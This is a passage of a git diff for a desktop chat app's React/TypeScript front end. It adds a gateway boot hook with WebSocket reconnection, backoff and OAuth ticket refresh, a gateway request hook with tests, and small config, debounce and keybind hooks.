+    expect($desktopBoot.get().error).toBeTruthy()
+
+    // The remote comes back: next reconnect attempt opens.
+    FakeWebSocket.mode = 'open'
+    await advanceBackoff()
+
+    expect($gatewayState.get()).toBe('open')
+    expect($desktopBoot.get().error).toBeNull()
+  })
+
+  it('FIX: a failed session-list fetch during boot is non-fatal — the app still boots', async () => {
+    // The version-skew report: gateway WS connects fine, but refreshSessions()
+    // rejects (e.g. older backend 404s an endpoint the fallback didn't cover,
+    // or a transient read error). That must NOT reject boot() into
+    // failDesktopBoot's "ClawCodex couldn't start" overlay — the socket is open
+    // and the app is fully usable with an empty sidebar.
+    const refreshSessions = vi.fn(async () => {
+      throw new Error('404: {"detail":"No such API endpoint: /api/profiles/sessions/sidebar"}')
+    })
+
+    render(<Harness refreshSessions={refreshSessions} />)
+    await flushAsync()
+
+    expect(refreshSessions).toHaveBeenCalled()
+    expect($gatewayState.get()).toBe('open')
+    // Boot completed: no error, overlay dismissed.
+    expect($desktopBoot.get().error).toBeNull()
+    expect($desktopBoot.get().visible).toBe(false)
+    expect($desktopBoot.get().phase).toBe('renderer.ready')
+  })
+})
diff --git a/ui-desktop/src/app/gateway/hooks/use-gateway-boot.ts b/ui-desktop/src/app/gateway/hooks/use-gateway-boot.ts
new file mode 100644
index 000000000..85204bbbf
--- /dev/null
+++ b/ui-desktop/src/app/gateway/hooks/use-gateway-boot.ts
@@ -0,0 +1,638 @@
+import { isGatewayReauthRequired, resolveGatewayWsUrl } from '@clawcodex/shared'
+import { useEffect, useRef } from 'react'
+
+import { ClawCodexGateway } from '@/clawcodex'
+import type { ClawCodexConnection } from '@/global'
+import { translateNow } from '@/i18n'
+import { desktopDefaultCwd } from '@/lib/desktop-fs'
+import { reconnectBackoffDelayMs } from '@/lib/reconnect-backoff'
+import {
+  $desktopBoot,
+  applyDesktopBootProgress,
+  completeDesktopBoot,
+  failDesktopBoot,
+  setDesktopBootStep
+} from '@/store/boot'
+import {
+  $gateway,
+  closeSecondaryGateways,
+  configureGatewayRegistry,
+  ensureGatewayForProfile,
+  pruneSecondaryGateways,
+  reconnectSecondaryGateways,
+  reportPrimaryGatewayState,
+  setPrimaryGateway,
+  touchSecondaryGateways
+} from '@/store/gateway'
+import { $gatewaySwitching, wipeSessionListsForGatewaySwitch } from '@/store/gateway-switch'
+import { notify, notifyError } from '@/store/notifications'
+import { $activeGatewayProfile, normalizeProfileKey, touchActiveGatewayBackend } from '@/store/profile'
+import {
+  $activeSessionId,
+  $connection,
+  $currentCwd,
+  $sessions,
+  ensureDefaultWorkspaceCwd,
+  setConnection,
+  setCurrentBranch,
+  setCurrentCwd,
+  setSessionsLoading
+} from '@/store/session'
+import { $attentionSessionIds, $workingSessionIds, resetTileRuntimeBindings } from '@/store/session-states'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { stashGatewaySurvivor, survivorIsStale, takeGatewaySurvivor } from './gateway-hmr-survivor'
+
+// After the reconnect loop has been failing for this long, raise a recoverable
+// boot error. Otherwise a dropped remote gateway loops the backoff forever
+// behind the fullscreen CONNECTING overlay with no way to reach Settings /
+// sign in / switch to local — the "lost connection breaks the app" dead end.
+// The next successful reconnect clears it. Time-based (not attempt-count)
+// because the full-jitter backoff makes attempt counts a meaningless clock:
+// six jittered attempts can elapse in ~9s, while the old deterministic
+// 1→15s ladder took ~45s to reach six failures — this threshold keeps that
+// original ~45s calibration.
+const RECONNECT_ESCALATE_AFTER_MS = 45_000
+
+interface GatewayBootOptions {
+  beforeConnectionSwitch: () => void
+  handleGatewayEvent: (event: RpcEvent) => void
+  onConnectionReady: (
+    connection: Awaited<ReturnType<NonNullable<typeof window.clawcodexDesktop>['getConnection']>> | null
+  ) => void
+  onGatewayReady: (gateway: ClawCodexGateway | null) => void
+  refreshClawCodexConfig: () => Promise<void>
+  refreshSessions: () => Promise<void>
+}
+
+export function useGatewayBoot({
+  beforeConnectionSwitch,
+  handleGatewayEvent,
+  onConnectionReady,
+  onGatewayReady,
+  refreshClawCodexConfig,
+  refreshSessions
+}: GatewayBootOptions) {
+  const callbacksRef = useRef({
+    beforeConnectionSwitch,
+    handleGatewayEvent,
+    onConnectionReady,
+    onGatewayReady,
+    refreshClawCodexConfig,
+    refreshSessions
+  })
+
+  callbacksRef.current = {
+    beforeConnectionSwitch,
+    handleGatewayEvent,
+    onConnectionReady,
+    onGatewayReady,
+    refreshClawCodexConfig,
+    refreshSessions
+  }
+
+  useEffect(() => {
+    let cancelled = false
+    const desktop = window.clawcodexDesktop
+
+    const publish = (next: ClawCodexConnection | null) => {
+      callbacksRef.current.onConnectionReady(next)
+      setConnection(next)
+    }
+
+    if (!desktop) {
+      failDesktopBoot('Desktop IPC bridge is unavailable.')
+      setSessionsLoading(false)
+
+      return () => void (cancelled = true)
+    }
+
+    // --- Reconnect-after-sleep machinery -------------------------------------
+    // macOS sleep silently drops the renderer's WebSocket. The backend Python
+    // process keeps running, but nothing re-opened the socket on wake, so the
+    // composer stayed disabled forever on "Starting ClawCodex...". Once the
+    // initial boot succeeds we treat any non-open state as recoverable and
+    // reconnect with backoff, and we nudge a reconnect on the OS/browser
+    // signals that fire around wake (power resume, network online, the window
+    // becoming visible).
+    let bootCompleted = false
+    let reconnecting = false
+    let reconnectTimer: ReturnType<typeof setTimeout> | null = null
+    let reconnectAttempt = 0
+    // Wall-clock start of the current disconnect episode (first failed
+    // reconnect attempt); null while healthy. Drives the time-based
+    // escalation below. Reset on a clean open or a manual/wake reconnect.
+    let reconnectFailingSince: number | null = null
+    // Surface "sign in again" once per disconnect episode, not on every backoff
+    // tick — a stale OAuth ticket fails every attempt and would otherwise stack
+    // identical error toasts (and their haptics). Reset on the next clean open.
+    let reauthNotified = false
+    // Raised once the reconnect loop has been failing for
+    // RECONNECT_ESCALATE_AFTER_MS so the recovery overlay replaces the
+    // dead-end CONNECTING screen. Reset on a clean open or a manual/
+    // wake-driven reconnect.
+    let escalated = false
+
+    // Wrap the live getter in a call so TS control-flow analysis doesn't narrow
+    // `connectionState` to a constant across the early-return guards (the state
+    // genuinely changes between reads).
+    const gatewayOpen = () => gateway.connectionState === 'open'
+
+    const clearReconnectTimer = () => {
+      if (reconnectTimer !== null) {
+        clearTimeout(reconnectTimer)
+        reconnectTimer = null
+      }
+    }
+
+    const attemptReconnect = async () => {
+      if (cancelled || reconnecting || gatewayOpen() || $gatewaySwitching.get()) {
+        return
+      }
+
+      reconnecting = true
+
+      try {
+        // Drop a stale REMOTE backend cache before re-dialing. After sleep/wake a
+        // remote backend can become unreachable, but it has no child process
+        // whose 'exit' would clear the main process's cached descriptor — without
+        // this the renderer re-dials the same dead endpoint forever and stays on
+        // "Starting ClawCodex…". The probe is a no-op for a healthy or local backend.
+        await desktop.revalidateConnection?.().catch(() => undefined)
+
+        const conn = await desktop.getConnection($activeGatewayProfile.get())
+
+        if (cancelled) {
+          return
+        }
+
+        publish(conn)
+        // Re-mint the WS URL before reconnecting. OAuth tickets are single-use
+        // with a short TTL, so the ticket baked into the cached conn.wsUrl is
+        // dead on every reconnect after the initial boot — reusing it surfaces
+        // as an opaque "Could not connect to ClawCodex gateway". resolveGatewayWsUrl
+        // mints a fresh ticket rather than connecting with a stale one. An
+        // explicit auth rejection asks for sign-in; transport failures stay in
+        // this reconnect loop. For local/token gateways the URL carries a
+        // long-lived token and the re-mint is a cheap no-op.
+        const wsUrl = await resolveGatewayWsUrl(desktop, conn)
+        await gateway.connect(wsUrl)
+
+        if (cancelled) {
+          return
+        }
+
+        reconnectAttempt = 0
+        reconnectFailingSince = null
+        // A respawned backend re-mints (recycles) runtime ids, so any tile's
+        // bound runtime id is now stale — drop them so each tile re-resumes.
+        resetTileRuntimeBindings()
+        // Resync state that may have moved on the backend while we were asleep.
+        await callbacksRef.current.refreshClawCodexConfig().catch(() => undefined)
+        await callbacksRef.current.refreshSessions().catch(() => undefined)
+      } catch (err) {
+        // OAuth session expired mid-reconnect: surface the actionable "sign in
+        // again" message once instead of silently looping the backoff against a
+        // ticket that can never succeed. Transport failures fall through to the
+        // backoff in the finally block below.
+        if (!cancelled && isGatewayReauthRequired(err) && !reauthNotified) {
+          reauthNotified = true
+          notifyError(err, translateNow('boot.errors.gatewaySignInRequired'))
+        }
+      } finally {
+        reconnecting = false
+
+        if (!cancelled && !gatewayOpen() && !$gatewaySwitching.get()) {
+          if (reconnectFailingSince === null) {
+            reconnectFailingSince = Date.now()
+          }
+
+          if (Date.now() - reconnectFailingSince >= RECONNECT_ESCALATE_AFTER_MS && !escalated) {
+            escalated = true
+            failDesktopBoot(translateNow('boot.errors.gatewayConnectionLost'))
+          }
+
+          scheduleReconnect()
+        }
+      }
+    }
+
+    function scheduleReconnect() {
+      if (cancelled || reconnecting || reconnectTimer !== null || gatewayOpen() || $gatewaySwitching.get()) {
+        return
+      }
+
+      // Full-jitter exponential backoff (300ms base, 15s cap) so a gateway
+      // restart doesn't get redialed by every desktop client in lockstep —
+      // an immediate-retry reconnect storm can exhaust the gateway's file
+      // descriptors while it's still coming back up.
+      const delay = reconnectBackoffDelayMs(reconnectAttempt)
+      reconnectAttempt += 1
+      reconnectTimer = setTimeout(() => {
+        reconnectTimer = null
+        void attemptReconnect()
+      }, delay)
+    }
+
+    const reconnectNow = () => {
+      if (cancelled || !bootCompleted || $gatewaySwitching.get()) {
+        return
+      }
+
+      clearReconnectTimer()
+      reconnectAttempt = 0
+      reconnectFailingSince = null
+      escalated = false
+      reconnectSecondaryGateways()
+
+      if (!gatewayOpen()) {
+        void attemptReconnect()
+      }
+    }
+
+    // Adopt the profile the primary (window) backend booted as, so same-profile
+    // resumes are no-op swaps and reconnects target the right backend.
+    // Best-effort: a missing preference means "default". Shared by boot + soft
+    // switch.
+    async function adoptPrimaryProfile() {
+      try {
+        const pref = await desktop.profile?.get?.()
+        const profileKey = (pref?.profile ?? '').trim() || 'default'
+        $activeGatewayProfile.set(profileKey)
+        setPrimaryGateway(gateway, profileKey)
+        void ensureGatewayForProfile(profileKey)
+      } catch {
+        $activeGatewayProfile.set('default')
+      }
+    }
+
+    // Seed the working dir from the backend default on a fresh view (nothing
+    // open yet). Shared by boot + soft switch.
+    async function seedDefaultCwd() {
+      await ensureDefaultWorkspaceCwd()
+      const remoteDefault = await desktopDefaultCwd().catch(() => null)
+
+      if (remoteDefault?.cwd && !$activeSessionId.get() && !$currentCwd.get()) {
+        setCurrentCwd(remoteDefault.cwd)
+        setCurrentBranch(remoteDefault.branch || '')
+      }
+    }
+
+    // Soft gateway-mode apply: main tore down the primary without reloading.
+    // Wipe session lists so skeletons retrigger, then re-dial in place.
+    const softSwitch = async () => {
+      if (cancelled) {
+        return
+      }
+
+      $gatewaySwitching.set(true)
+      clearReconnectTimer()
+      reconnectAttempt = 0
+      reconnectFailingSince = null
+      escalated = false
+      reauthNotified = false
+      callbacksRef.current.beforeConnectionSwitch()
+      wipeSessionListsForGatewaySwitch()
+
+      try {
+        gateway.close()
+        closeSecondaryGateways()
+
+        const conn = await desktop.getConnection()
+
+        if (cancelled) {
+          return
+        }
+
+        publish(conn)
+        const wsUrl = await resolveGatewayWsUrl(desktop, conn)
+        await gateway.connect(wsUrl)
+
+        if (cancelled) {
+          return
+        }
+
+        // Same shape as boot(): profile first (session scope depends on it),
+        // then the independent fetches concurrently.
+        await adoptPrimaryProfile()
+        await Promise.all([
+          seedDefaultCwd(),
+          callbacksRef.current.refreshClawCodexConfig().catch(() => undefined),
+          callbacksRef.current.refreshSessions().catch(() => undefined)
+        ])
+        completeDesktopBoot()
+        bootCompleted = true
+      } catch (err) {
+        if (!cancelled) {
+          const message = err instanceof Error ? err.message : String(err)
+          failDesktopBoot(message)
+          notifyError(err, translateNow('boot.errors.desktopBootFailed'))
+          setSessionsLoading(false)
+        }
+      } finally {
+        $gatewaySwitching.set(false)
+      }
+    }
+
+    const offBootProgress = desktop.onBootProgress(payload => {
+      // Soft switch / post-boot startClawCodex re-emits progress — ignore so the
+      // cold-boot CONNECTING overlay stays down. Errors still surface.
+      if ($gatewaySwitching.get() || bootCompleted) {
+        if (payload.error) {
+          applyDesktopBootProgress(payload)
+        }
+
+        return
+      }
+
+      applyDesktopBootProgress(payload)
+    })
+
+    void desktop
+      .getBootProgress()
+      .then(snapshot => applyDesktopBootProgress(snapshot))
+      .catch(() => undefined)
+
+    setDesktopBootStep({
+      phase: 'renderer.boot',
+      message: translateNow('boot.steps.startingDesktopConnection'),
+      progress: 6
+    })
+
+    // HMR adoption: in a dev hot update, the previous effect instance parked its
+    // still-open socket instead of closing it (see the cleanup below). Re-adopt
+    // it so an edit doesn't drop the live agent session. A stale (closed) parked
+    // socket is discarded and we boot fresh. No-op in production: import.meta.hot
+    // is undefined there, so this folds to `null` and the whole survivor module
+    // dead-code-eliminates out of the bundle.
+    const survivor = import.meta.hot ? takeGatewaySurvivor() : null
+    const adoptedFromHmr = Boolean(survivor && !survivorIsStale(survivor))
+
+    if (survivor && !adoptedFromHmr) {
+      // Parked socket died between edits (e.g. backend restart) — release it.
+      try {
+        survivor.gateway.close()
+      } catch {
+        // ignore
+      }
+    }
+
+    const gateway = adoptedFromHmr ? survivor!.gateway : new ClawCodexGateway()
+
+    callbacksRef.current.onGatewayReady(gateway)
+    setPrimaryGateway(gateway, survivor?.profile ?? normalizeProfileKey($activeGatewayProfile.get()))
+    // Secondary (background-profile) sockets funnel into the same handler.
+    configureGatewayRegistry({ onEvent: event => callbacksRef.current.handleGatewayEvent(event) })
+
+    const offState = gateway.onState(st => {
+      // Mirror to the composer only while the primary is the active profile —
+      // a background secondary reconnect mustn't flip the foreground state.
+      reportPrimaryGatewayState(st)
+
+      if (st === 'open') {
+        reconnectAttempt = 0
+        reconnectFailingSince = null
+        reauthNotified = false
+        escalated = false
+        clearReconnectTimer()
+
+        // A revalidate-driven reconnect can rebuild the backend in place when the
+        // cached remote was found dead, which re-drives the boot-progress overlay.
+        // Unlike the initial boot, nothing calls completeDesktopBoot() afterwards,
+        // so dismiss it here once we're open again — otherwise the overlay sticks
+        // at ~94%. A no-op on a normal (non-rebuild) reconnect.
+        if (bootCompleted) {
+          completeDesktopBoot()
+        }
+      } else if (bootCompleted && !$gatewaySwitching.get() && (st === 'closed' || st === 'error')) {
+        // The socket dropped after a healthy boot (typically sleep/wake). Try
+        // to bring it back instead of leaving the composer stuck disabled.
+        scheduleReconnect()
+      }
+    })
+
+    const sourceProfile = normalizeProfileKey($activeGatewayProfile.get())
+
+    const offEvent = gateway.onEvent(event =>
+      callbacksRef.current.handleGatewayEvent({ ...event, profile: sourceProfile })
+    )
+
+    // Wake signals: power resume (macOS/Windows), network coming back, and the
+    // window regaining focus/visibility. Each nudges an immediate reconnect.
+    const offPowerResume = desktop.onPowerResume?.(() => reconnectNow())
+    const offConnectionApplied = desktop.onConnectionApplied?.(() => void softSwitch())
+
+    const onOnline = () => reconnectNow()
+
+    const onVisible = () => {
+      if (document.visibilityState === 'visible') {
+        reconnectNow()
+      }
+    }
+
+    window.addEventListener('online', onOnline)
+    document.addEventListener('visibilitychange', onVisible)
+
+    // Keep live pool backends alive while this window is open (the main process
+    // can't observe the direct renderer↔backend WS). No-op for the primary.
+    const keepaliveTimer = setInterval(() => {
+      touchActiveGatewayBackend()
+      touchSecondaryGateways()
+    }, 60_000)
+
+    // Bound concurrency cost to live work: keep a background socket only while
+    // its profile has a running (working) or blocked (needs-input) session.
+    // Once that profile goes idle its socket is dropped and its backend is free
+    // to idle-reap. The active profile is always spared.
+    const recomputeKeptGateways = () => {
+      const live = new Set([...$workingSessionIds.get(), ...$attentionSessionIds.get()])
+      const keep = new Set<string>()
+
+      for (const session of $sessions.get()) {
+        if (live.has(session.id)) {
+          keep.add(normalizeProfileKey(session.profile))
+        }
+      }
+
+      pruneSecondaryGateways(keep)
+    }
+
+    const offWorking = $workingSessionIds.subscribe(() => recomputeKeptGateways())
+    const offAttention = $attentionSessionIds.subscribe(() => recomputeKeptGateways())
+    const offActiveProfile = $activeGatewayProfile.subscribe(() => recomputeKeptGateways())
+
+    const offWindowState = desktop.onWindowStateChanged?.(payload => {
+      const current = $connection.get()
+
+      if (current) {
+        publish({ ...current, ...payload })
+      }
+    })
+
+    const offExit = desktop.onBackendExit(() => {
+      if ($gatewaySwitching.get()) {
+        return
+      }
+
+      if ($desktopBoot.get().running || $desktopBoot.get().visible) {
+        failDesktopBoot(translateNow('boot.errors.backgroundExitedDuringStartup'))
+      }
+
+      notify({
+        kind: 'error',
+        title: translateNow('boot.errors.backendStopped'),
+        message: translateNow('boot.errors.backgroundExited'),
+        durationMs: 0
+      })
+    })
+
+    async function boot() {
+      try {
+        const conn = await desktop.getConnection()
+
+        if (cancelled) {
+          return
+        }
+
+        setDesktopBootStep({
+          phase: 'renderer.gateway.connect',
+          message: translateNow('boot.steps.connectingGateway'),
+          progress: 95
+        })
+        publish(conn)
+        // Mint a fresh WS URL right before connecting. For OAuth gateways the
+        // ticket is single-use with a short TTL, so the ticket baked into
+        // conn.wsUrl is stale; resolveGatewayWsUrl() re-mints it rather than
+        // connecting with a dead ticket. Auth rejection asks for sign-in;
+        // connectivity failures remain retryable.
+        const wsUrl = await resolveGatewayWsUrl(desktop, conn)
+        await gateway.connect(wsUrl)
+
+        if (cancelled) {
+          return
+        }
+
+        // Profile adoption must land first: refreshSessions scopes its fetch by
+        // $profileScope ← $activeGatewayProfile. The remaining three fetches
+        // (cwd seed, config, sessions) are independent REST calls — running
+        // them serially added their sum to time-to-populated-sidebar when only
+        // the max is needed.
+        await adoptPrimaryProfile()
+
+        setDesktopBootStep({
+          phase: 'renderer.config',
+          message: translateNow('boot.steps.loadingSettings'),
+          progress: 97
+        })
+
+        await Promise.all([
+          seedDefaultCwd(),
+          callbacksRef.current.refreshClawCodexConfig(),
+          // Session-list population is never boot-fatal. The gateway WS is
+          // already open by this point — a failed sidebar fetch (transient
+          // blip, or an endpoint the fallback couldn't cover) must leave the
+          // app usable with an empty sidebar (the reconnect/turn refreshes
+          // retry it), not brick boot behind the "ClawCodex couldn't start"
+          // overlay. Matches the reconnect + softSwitch call sites.
+          callbacksRef.current.refreshSessions().catch(() => {
+            setSessionsLoading(false)
+          })
+        ])
+
+        if (cancelled) {
+          return
+        }
+
+        completeDesktopBoot()
+        bootCompleted = true
+      } catch (err) {
+        if (!cancelled) {
+          const message = err instanceof Error ? err.message : String(err)
+          failDesktopBoot(message)
+          notifyError(err, translateNow('boot.errors.desktopBootFailed'))
+          setSessionsLoading(false)
+        }
+      }
+    }
+
+    // Adopt the parked socket without re-running the full boot handshake: the
+    // socket is already open, the backend session is untouched, and we already
+    // know the profile. We only re-publish the connection, re-sync config +
+    // sessions (cheap, and the backend may have moved on between edits), and
+    // dismiss any boot overlay. This is what keeps a live, mid-stream session
+    // intact across an HMR update.
+    async function adoptBoot() {
+      bootCompleted = true
+      completeDesktopBoot()
+
+      if (survivor?.connection) {
+        publish(survivor.connection)
+      }
+
+      const profile = survivor?.profile ?? $activeGatewayProfile.get()
+      $activeGatewayProfile.set(profile)
+      void ensureGatewayForProfile(profile)
+
+      // Mirror the current (already-open) socket state into the composer so the
+      // input doesn't sit disabled after the swap.
+      reportPrimaryGatewayState(gateway.connectionState)
+
+      await callbacksRef.current.refreshClawCodexConfig().catch(() => undefined)
+
+      if (cancelled) {
+        return
+      }
+
+      await callbacksRef.current.refreshSessions().catch(() => undefined)
+    }
+
+    if (adoptedFromHmr) {
+      void adoptBoot()
+    } else {
+      void boot()
+    }
+
+    return () => {
+      cancelled = true
+      $gatewaySwitching.set(false)
+      clearReconnectTimer()
+      clearInterval(keepaliveTimer)
+      offWorking()
+      offAttention()
+      offActiveProfile()
+      window.removeEventListener('online', onOnline)
+      document.removeEventListener('visibilitychange', onVisible)
+      offPowerResume?.()
+      offConnectionApplied?.()
+      offState()
+      offEvent()
+      offExit()
+      offWindowState?.()
+      offBootProgress()
+
+      // HMR teardown vs. real unmount. On a hot update we must NOT close the
+      // socket — that's the whole bug. Detach this instance's listeners (their
+      // closures capture the disposed module), park the still-open gateway, and
+      // let the freshly loaded effect re-adopt it. Secondaries are owned by the
+      // gateway store (HMR-stable module state), so they survive untouched.
+      // Production: import.meta.hot is undefined, so this branch never runs and
+      // the original destructive teardown below is byte-for-byte preserved.
+      if (import.meta.hot && gateway.connectionState === 'open') {
+        stashGatewaySurvivor({
+          gateway,
+          profile: survivor?.profile ?? $activeGatewayProfile.get(),
+          connection: $connection.get()
+        })
+
+        return
+      }
+
+      closeSecondaryGateways()
+      gateway.close()
+      publish(null)
+      callbacksRef.current.onGatewayReady(null)
+      setPrimaryGateway(null)
+      $gateway.set(null)
+    }
+  }, [])
+}
diff --git a/ui-desktop/src/app/gateway/hooks/use-gateway-request.test.ts b/ui-desktop/src/app/gateway/hooks/use-gateway-request.test.ts
new file mode 100644
index 000000000..b19c56657
--- /dev/null
+++ b/ui-desktop/src/app/gateway/hooks/use-gateway-request.test.ts
@@ -0,0 +1,39 @@
+import { act, renderHook } from '@testing-library/react'
+import { afterEach, describe, expect, it } from 'vitest'
+
+import type { ClawCodexGateway } from '@/clawcodex'
+import { $gateway } from '@/store/gateway'
+
+import { useGatewayRequest } from './use-gateway-request'
+
+const fakeGateway = { connectionState: 'open' } as unknown as ClawCodexGateway
+
+afterEach(() => {
+  $gateway.set(null)
+})
+
+describe('useGatewayRequest', () => {
+  // The composer's `/` completions only exist when ChatBar receives a non-null
+  // gateway PROP. `gatewayRef` is populated by a subscription effect, so it is
+  // still null on the first render — a surface that read the ref while
+  // rendering (session tiles / ⌘T tabs) shipped `gateway={null}` and silently
+  // lost slash completions. The returned `gateway` value must be live
+  // immediately so that never happens again.
+  it('exposes the live gateway on the first render, before effects run', () => {
+    $gateway.set(fakeGateway)
+
+    const { result } = renderHook(() => useGatewayRequest())
+
+    expect(result.current.gateway).toBe(fakeGateway)
+  })
+
+  it('tracks the gateway when the active socket changes', () => {
+    const { result } = renderHook(() => useGatewayRequest())
+
+    expect(result.current.gateway).toBeNull()
+
+    act(() => $gateway.set(fakeGateway))
+
+    expect(result.current.gateway).toBe(fakeGateway)
+  })
+})
diff --git a/ui-desktop/src/app/gateway/hooks/use-gateway-request.ts b/ui-desktop/src/app/gateway/hooks/use-gateway-request.ts
new file mode 100644
index 000000000..5943c9e28
--- /dev/null
+++ b/ui-desktop/src/app/gateway/hooks/use-gateway-request.ts
@@ -0,0 +1,148 @@
+import { isGatewayReauthRequired, resolveGatewayWsUrl } from '@clawcodex/shared'
+import { useStore } from '@nanostores/react'
+import { useCallback, useEffect, useRef } from 'react'
+
+import type { ClawCodexGateway } from '@/clawcodex'
+import { $gateway, ensureActiveGatewayOpen, isActivePrimary } from '@/store/gateway'
+import { $activeGatewayProfile } from '@/store/profile'
+import { $gatewayState, setConnection } from '@/store/session'
+
+export function useGatewayRequest() {
+  const gatewayState = useStore($gatewayState)
+  // Reactive companion to `gatewayRef`. The ref exists so `requestGateway`
+  // keeps a stable identity and always reaches the live socket, but it is only
+  // populated by the subscription effect below — i.e. AFTER the first render.
+  // A component that reads `gatewayRef.current` while rendering therefore sees
+  // null on mount, and if the connection state doesn't happen to flip
+  // afterwards it never re-renders to pick the instance up. Anything that needs
+  // the gateway as a render-time VALUE (props, memo deps) must use this.
+  const gateway = useStore($gateway) as ClawCodexGateway | null
+  const gatewayRef = useRef<ClawCodexGateway | null>(null)
+
+  const connectionRef = useRef<Awaited<ReturnType<NonNullable<typeof window.clawcodexDesktop>['getConnection']>> | null>(
+    null
+  )
+
+  const gatewayStateRef = useRef(gatewayState)
+  const reconnectingRef = useRef<Promise<ClawCodexGateway | null> | null>(null)
+  // Holds the reauth error from the most recent failed reconnect so
+  // requestGateway can surface the gateway's "session expired, sign in again"
+  // message instead of the opaque "connection closed" that triggered the retry.
+  const reauthErrorRef = useRef<unknown>(null)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    gatewayStateRef.current = gatewayState
+  }, [gatewayState])
+
+  // Track the active gateway (primary or a background profile's socket) so
+  // outbound requests and overlay props always target the focused profile.
+  useEffect(
+    () =>
+      $gateway.subscribe(gateway => {
+        gatewayRef.current = gateway as ClawCodexGateway | null
+      }),
+    []
+  )
+
+  const ensureGatewayOpen = useCallback(async () => {
+    const existing = gatewayRef.current
+
+    if (!existing) {
+      return null
+    }
+
+    if (gatewayStateRef.current === 'open') {
+      return existing
+    }
+
+    if (reconnectingRef.current) {
+      return reconnectingRef.current
+    }
+
+    reconnectingRef.current = (async () => {
+      const desktop = window.clawcodexDesktop
+
+      if (!desktop) {
+        return null
+      }
+
+      reauthErrorRef.current = null
+
+      try {
+        // Reconnect to whichever profile the gateway is currently routed to (not
+        // always the primary), so a sleep/wake reconnect keeps the user on the
+        // profile they were chatting in.
+        const conn = await desktop.getConnection($activeGatewayProfile.get())
+        connectionRef.current = conn
+        setConnection(conn)
+        // Re-mint the WS URL before reconnecting. OAuth tickets are single-use
+        // and short-lived, so the cached conn.wsUrl ticket is dead here;
+        // resolveGatewayWsUrl() never connects with a stale ticket. An explicit
+        // auth rejection becomes a reauth error; transport failures remain
+        // retryable. Stash only the former so requestGateway can show the
+        // actionable "sign in again" message.
+        const wsUrl = await resolveGatewayWsUrl(desktop, conn)
+        await existing.connect(wsUrl)
+
+        return existing
+      } catch (error) {
+        if (isGatewayReauthRequired(error)) {
+          reauthErrorRef.current = error
+        }
+
+        connectionRef.current = null
+        setConnection(null)
+
+        return null
+      } finally {
+        reconnectingRef.current = null
+      }
+    })()
+
+    return reconnectingRef.current
+  }, [])
+
+  const requestGateway = useCallback(
+    async <T>(method: string, params: Record<string, unknown> = {}, timeoutMs?: number, signal?: AbortSignal) => {
+      const gateway = gatewayRef.current
+
+      if (!gateway) {
+        throw new Error('ClawCodex gateway unavailable')
+      }
+
+      try {
+        return await gateway.request<T>(method, params, timeoutMs, signal)
+      } catch (error) {
+        const message = error instanceof Error ? error.message : String(error)
+
+        if (!/not connected|connection closed/i.test(message)) {
+          throw error
+        }
+
+        // Primary keeps the OAuth-aware reconnect (remote gateways re-mint a
+        // single-use ticket); background profiles are always local pool
+        // backends, so the registry handles their reconnect with no reauth.
+        const recovered = isActivePrimary() ? await ensureGatewayOpen() : await ensureActiveGatewayOpen()
+
+        if (!recovered) {
+          // Prefer the reauth error from the failed reconnect (OAuth session
+          // expired) over the generic transport error that triggered the retry.
+          const reauthError = reauthErrorRef.current
+          reauthErrorRef.current = null
+
+          if (reauthError) {
+            throw reauthError
+          }
+
+          throw error
+        }
+
+        return recovered.request<T>(method, params, timeoutMs, signal)
+      }
+    },
+    [ensureGatewayOpen]
+  )
+
+  return { connectionRef, gateway, gatewayRef, requestGateway }
+}
diff --git a/ui-desktop/src/app/hooks/use-config-record.ts b/ui-desktop/src/app/hooks/use-config-record.ts
new file mode 100644
index 000000000..a213434ea
--- /dev/null
+++ b/ui-desktop/src/app/hooks/use-config-record.ts
@@ -0,0 +1,22 @@
+import { useQuery } from '@tanstack/react-query'
+
+import { getClawCodexConfigRecord } from '@/clawcodex'
+import { queryClient, writeCache } from '@/lib/query-client'
+import type { ClawCodexConfigRecord } from '@/types/clawcodex'
+
+// One shared cache for the whole profile config record (`GET /api/config`).
+// Every settings surface (MCP, model, config) reads and writes through this key
+// so a save in one shows in the others, and revisiting a tab paints the cache
+// instead of blanking on a fresh fetch.
+//
+// Distinct from session/hooks/use-clawcodex-config.ts, which is side-effecting —
+// it pushes personality/cwd/voice/… into the session stores for live chat.
+export const CLAWCODEX_CONFIG_KEY = ['clawcodex-config-record'] as const
+
+// staleTime 0 → serve cache instantly, background-revalidate on every mount.
+export const useClawCodexConfigRecord = () =>
+  useQuery({ queryKey: CLAWCODEX_CONFIG_KEY, queryFn: getClawCodexConfigRecord, staleTime: 0 })
+
+export const setClawCodexConfigCache = writeCache<ClawCodexConfigRecord>(CLAWCODEX_CONFIG_KEY)
+
+export const invalidateClawCodexConfig = () => queryClient.invalidateQueries({ queryKey: CLAWCODEX_CONFIG_KEY })
diff --git a/ui-desktop/src/app/hooks/use-debounced.ts b/ui-desktop/src/app/hooks/use-debounced.ts
new file mode 100644
index 000000000..1fc80bbe7
--- /dev/null
+++ b/ui-desktop/src/app/hooks/use-debounced.ts
@@ -0,0 +1,15 @@
+import { useEffect, useState } from 'react'
+
+/** Debounce a fast-changing value (search input, slider, …) so effects/queries
+ *  keyed on it only fire once the value settles. */
+export function useDebounced<T>(value: T, delayMs: number): T {
+  const [debounced, setDebounced] = useState(value)
+
+  useEffect(() => {
+    const handle = setTimeout(() => setDebounced(value), delayMs)
+
+    return () => clearTimeout(handle)
+  }, [value, delayMs])
+
+  return debounced
+}
diff --git a/ui-desktop/src/app/hooks/use-keybinds.ts b/ui-desktop/src/app/hooks/use-keybinds.ts
new file mode 100644
index 000000000..641ce51ce
--- /dev/null
+++ b/ui-desktop/src/app/hooks/use-keybinds.ts
@@ -0,0 +1,421 @@
+import { useEffect, useRef } from 'react'
+import { useNavigate } from 'react-router'
+
+import { closeActiveTab } from '@/app/chat/close-tab'
+import { setTerminalTakeover } from '@/app/right-sidebar/store'
+import { closeActiveTerminal, createTerminal, cycleTerminal } from '@/app/right-sidebar/terminal/terminals'
+import {
+  activateTreeTabSlot,
+  cycleTreeTabInFocusedZone,
+  isPaneVisible,
+  layoutHasRootSide,
+  togglePaneVisible
+} from '@/components/pane-shell/tree/store'
+import { onReleaseTypingFocus } from '@/components/ui/keyboard-first'
+import { findBarClaimsCombo } from '@/lib/find-in-page'
+import { contributedKeybindHandler, PROFILE_SLOT_COUNT, SESSION_SLOT_COUNT } from '@/lib/keybinds/actions'
